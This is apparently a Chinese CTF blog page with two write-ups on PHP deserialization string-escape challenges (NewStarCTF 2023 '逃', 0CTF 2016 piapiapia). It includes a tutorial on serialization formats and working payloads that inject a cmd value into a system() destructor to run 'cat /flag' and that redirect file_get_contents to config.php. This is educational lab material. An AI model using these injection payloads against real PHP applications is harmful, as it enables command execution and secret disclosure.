Inf0 - Web https://dirtycow.cn/category/Web/ NewStarCTF 2023 Week4 Web 逃 https://dirtycow.cn/143.html 2023-10-24T11:36:00+08:00 思路:打开题目 查看php代码,再根据题目的提示确定这是字符串逃逸<?php highlight_file(__FILE__); function waf($str){ return str_replace("bad","good",$str); } class GetFlag { public $key; public $cmd = "whoami"; public function __construct($key) { $this->key = $key; } public function __destruct() { system($this->cmd); } } unserialize(waf(serialize(new GetFlag($_GET['key']))));分析一下代码 这段代码用GET方式接收了key,将这个key传入了GetFlag类中之后又将这个类序列化了传入waf函数查看waf函数 ,发现这个函数对传入如的字符串进行了处理,将传入的字符串中的bad字符替换成了good最后又将处理过的字符串反序列化了,经过处理的字符串字符会增多,导致字符逃逸我们只要传入一定量的字符bad,使逃逸的字符(payload)覆盖原本的字符就能实现任意命令执行接下来构造paylaodpayload:先将GetFlag类序列化查看O:7:"GetFlag":2:{s:3:"key";s:0:"";s:3:"cmd";s:6:"whoami";}来构造一下要执行的命令 ";s:3:"cmd";s:4:"ls /";} 我们构造执行命令的字符长度是24,也就是说要逃逸24个字符,需要24个bad构造payloadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls /";}先在本地测试一下image-20231024112553669.png使用var_dump函数查看GetFlag的结构,发现变量cmd的值已经是ls /了去题目测试image-20231024112922436.png成功列出根目录构造查看flag的payload";s:3:"cmd";s:9:"cat /flag";}查看flag的payload有29个字符payload:badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}image-20231024113413431.png成功getflag BUUCTF [0CTF 2016]piapiapia https://dirtycow.cn/78.html 2023-10-23T20:17:00+08:00 知识点:1.php的序列化和反序列化:序列化就是把对象或者变量转化为字符串从而便于存储和传输反序列化就是把序列化的字符串转化为原来的对象或者变量序列化例子:<?php class Person{ public $name = "user"; private $age = 18; protected $num = "11111111"; function test(){ $this->name = "user1"; echo $this->$name; } } $test = new Person(); echo serialize($test); ?>输出内容:O:6:"Person":3:{s:4:"name";s:4:"user";s:11:"Personage";i:18;s:6:"*num";s:8:"11111111";}对象类型 : 对象长度 : "对象名称" : 类里面的变量个数 : {变量类型 : 长度 : 变量名称; 值类型 : 变量值长度 : 变量值; ......}O是指一个对象,6是Person的长度,3是有三个属性,{}里面是属性的内容; 第一个s是name的类型,4是name长度,第二个s是变量name值的类型,第二个4是"user"的长度,"user" 是变量name的值 以此类推。注意类里面的方法不会参加序列化。需要注意的是变量受到不同修饰符(public,private,protected)修饰进行序列化时,序列化后变量的长度和名称会发生变化。使用public修饰进行序列化后,变量$name的长度为4,正常输出。使用private修饰进行序列化后,会在变量$age前面加上类的名称,在这里是Person,并且长度会比正常大小多2个字节,也就是6+3+2=11。使用protected修饰进行序列化后,会在变量$team_group前面加上*,并且长度会比正常大小多3个字节,也就是3+3=6。通过对比发现,在受保护的成员前都多了两个字节,受保护的成员在序列化时规则:  1. 受Private修饰的私有成员,序列化时: \x00 + [私有成员所在类名] + \x00 [变量名]  2. 受Protected修饰的成员,序列化时:\x00 + * + \x00 + [变量名]  其中,"\x00"代表ASCII为0的值,即空字节," * " 必不可少。反序列化:<?php class Person{ public $name = "user"; private $age = 18; protected $num = "11111111"; function test(){ $this->name = "user1"; echo $this->name . "\n"; } } $test = new Person(); echo serialize($test); echo "\n"; $str = serialize($test); $test2 = unserialize($str); $test2->test(); var_dump($test2); ?>输出内容:O:6:"Person":3:{s:4:"name";s:4:"user";s:11:"Personage";i:18;s:6:"*num";s:8:"11111111";} user1 object(Person)#2 (3) { ["name"]=> string(5) "user1" ["age":"Person":private]=> int(18) ["num":protected]=> string(8) "11111111" }使用反序列化函数反序列化序列化后字符串$test2可以调用test方法用var_dump 对象,可以查看对象内部结构2.php反序列化字符逃逸什么事字符逃逸,从字面意思上看,就是一些字符被丢弃。序列化后的字符串进行反序列化操作时,会以{}两个花括号进行分界线,花括号外的内容不会被反序列化。例子: <?php class people{ public $name = 'aaa'; public $sex = 'boy'; } $a = new people(); print_r(serialize($a)); echo "\n"; $str='O:6:"people":2:{s:4:"name";s:3:"aaa";s:3:"sex";s:3:"boy";}123'; var_dump(unserialize($str)); ?>输出结果O:6:"people":2:{s:4:"name";s:3:"aaa";s:3:"sex";s:3:"boy";} object(people)#2 (2) { ["name"]=> string(3) "aaa" ["sex"]=> string(3) "boy" }在序列化字符串后面添加123PHP不会报错,并且也不会输出123.说明{}是字符串反序列化时的分界符。当然,在进行反序列化时,是从左到右读取。读取多少取决于s后面的字符长度。比如当我们将数字改成5<?php $str='O:6:"people":2:{s:5:"name";s:3:"aaa";s:3:"sex";s:3:"boy";}'; var_dump(unserialize($str)); ?>输出结果bool(false)此时在读取name时,它会将闭合的双引号也读取在内,而需要闭合字符串的双引号被当作字符串处理,这时就会导致语法错误而报错。一般触发字符逃逸的前提是这个替换函数str_replace,能将字符串的长度改变。其主要原理就是运用闭合的思想。字符逃逸主要有两种,一种是字符增多,一种是字符减少。字符增多<?php class A{ public $name = 'aaaaaaaaaaaaaaaaaaaaaaaaaa";s:6:"passwd";s:3:"123";}'; public $passwd = '1234'; } $ss = new A(); $str = serialize($ss); //echo $str; function filter($str){ return str_replace('aa','bbbb',$str); } $tt = filter($str); echo $tt; $qq = unserialize($tt); var_dump($qq); ?>大家可能会有一个疑惑?为什么要有这个str_replace函数,我认为可能是想过滤掉用户输入的恶意代码,防止恶意代码执行恶意命令。(主要还是unserialize函数的参数可控)。这段代码主要目的就是间接修改passwd的值";s:6:"passwd";s:3:"123";}输出结果:O:1:"A":2:{s:4:"name";s:52:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:6:"passwd";s:3:"123";}";s:6:"passwd";s:4:"1234";}object(A)#2 (2) { ["name"]=> string(52) "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" ["passwd"]=> string(3) "123" }这个字符串一共有26字符。我们想要让这段字符串进行反序列化,而;}正好将前面闭合,从而将字符串";s:6:"passwd";s:4:"1234";}逃逸出去。这样就可以间接修改passwd的值了。回过头看代码,序列化字符串中将aa替换为bbbb,这样就多出两个字符。以此类推,我们输入13个aa,就会多出26个字符,正好达到name的字符串长度,成功将s:6:"passwd";s:3:"123";}反序列化这样就将passwd的值改为123字符减少<?php class A{ public $name = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:6:"passwd";s:3:"123";}'; public $passwd = '1234";s:6:"passwd";s:3:"123'; } $ss = new A(); $str = serialize($ss); //echo $str; function filter($str){ return str_replace('bb','a',$str); } $tt = filter($str); echo $tt; $qq = unserialize($tt); var_dump($qq); ?>同样道理,我们要将s:6:"passwd";s:3:"123成功反序列化,那么就要把";s:6:"passwd";s:27:"1234这段字符串给吃掉。这段字符串一共有25个字符,则我们在name中输入25个bO:1:"A":2:{s:4:"name";s:52:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:6:"passwd";s:3:"123";}";s:6:"passwd";s:4:"1234";}object(A)#2 (2) { ["name"]=> string(52) "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" ["passwd"]=> string(3) "123" }总结:字符逃逸的主要原理就是闭合,和sql注入类似,只不过它判断的是字符串的长度。输入恰好的字符串长度,让无用的部分字符逃逸或吞掉,从而达到我们想要的目的解题思路:web题信息收集很重要!!!没有思路就去扫目录!!!打开题目,发现主页是个登录页面经过各种测试,排除了sql注入的漏洞的可能image-20221011195102510.png通过目录扫描,发现网站根目录存在www.zip将其下载下来进行代码审计//profile.php <?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } $username = $_SESSION['username']; $profile=$user->show_profile($username); if($profile == null) { header('Location: update.php'); } else { $profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo'])); ?>在profile.php中发现了file_get_contents()函数,它读取了数组$profile的photo继续看代码,$profile是反序列化了$profile, $profile调用了class.php中的user对象中的show_profile()方法, 传入了username接下来看show_profile()image-20221011185518280.png调用了父类的filter方法去查看filter()image-20221011190550206.pngfilter方法是对传进去的进行过滤,把字符串中的"select , insert, update, delete, where" 替换成hacker, 并返回这个字符串回过去看show_profile()$object 调用了父类的select方法查看select()image-20221011191017190.pngselect方法查询了用户的信息,并返回了查询结果对象在show_pofile方法中,最后返回了查询结果的profile字段既然profile是从数据库中查询出来的,那一定有将profile写入出数据库的操作。查看update.php//update.php <?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) { $username = $_SESSION['username']; if(!preg_match('/^\d{11}$/', $_POST['phone'])) die('Invalid phone'); if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email'])) die('Invalid email'); if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname'); $file = $_FILES['photo']; if($file['size'] < 5 or $file['size'] > 1000000) die('Photo size error'); move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name'])); $profile['phone'] = $_POST['phone']; $profile['emaild'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']); $user->update_profile($username, serialize($profile)); echo 'Update Profile Success!<a href="profile.php">Your Profile</a>'; } else { ?>在update.php中有一个序列化操作, 调用了update_profile()方法我们查看这个方法image-20221011194057660.png他这里又调用了filter()方法对username和profile进行了过滤然后调用了父类的update()方法, 查看update方法image-20221011194719967.pngupdate方法对数据库进行更新操作,重新写入了profile,在config.php中找到了关键信息, 发现flag在里面image-20221011201212936.png继续查看profile.php他读取了photo,这个photo是我们不可控的变量,我们要想办法让photo的值变成config.php $profile['phone'] = $_POST['phone']; $profile['emaild'] = $_POST['email']; $profile['nickname'] = $_POST['nickname'];这三个变量都是我们可控的发现对nickname进行了限制,不能超过10个字符image-20221011202212951.png我们可以通过数组进行绕过构造一个profile,序列化查看<?php $profile['phone'] = "18336831378"; $profile['emaild'] = "1707154109"; $profile['nickname'] = [""]; $profile['photo'] = 'upload/' . md5("111"); echo serialize($profile); ?>结果:a:4:{s:5:"phone";s:11:"18336831378";s:6:"emaild";s:10:"1707154109";s:8:"nickname";a:1:{i:0;s:0:"";}s:5:"photo";s:39:"upload/698d51a19d8a121ce581499d7b701668";}我们可以构造payload";}s:5:"photo";s:10:"config.php";}把这个payload给nickname赋值, 再序列化查看$profile['nickname'] = ['";}s:5:"photo";s:10:"config.php"'];结果a:4{s:5:"phone";s:11:"18336831378";s:6:"emaild";s:10:"1707154109";s:8:"nickname";a:1{i:0;s:34:"";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/698d51a19d8a121ce581499d7b701668";}这边nickname会读取34个字符,也就是我们的payload,我们要将他逃逸出去,因为profile被传入update_profile方法会对profile进行过滤,将"select , insert, update, delete, where"这些字符串替换成hacker这样就会多出来一个字符,所以我们只要在我们的payload前面添加34个where,就会多出34个字符,我们的payload就会逃逸出来payload:在源码中有个register.php我们访问这个页面,注册一个账号,注册好后登录账号image-20221011195716878.png构造payloadwherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}打开burp对该页面进行抓包重发image-20221011210514723.png回显页面显示更新成功进入profile页面查看image-20221011210657220.png当我看到图片没有被加载出来就知道成功了查看网页源代码image-20221011210749659.png将base64复制进行解码image-20221011211531534.png拿到flag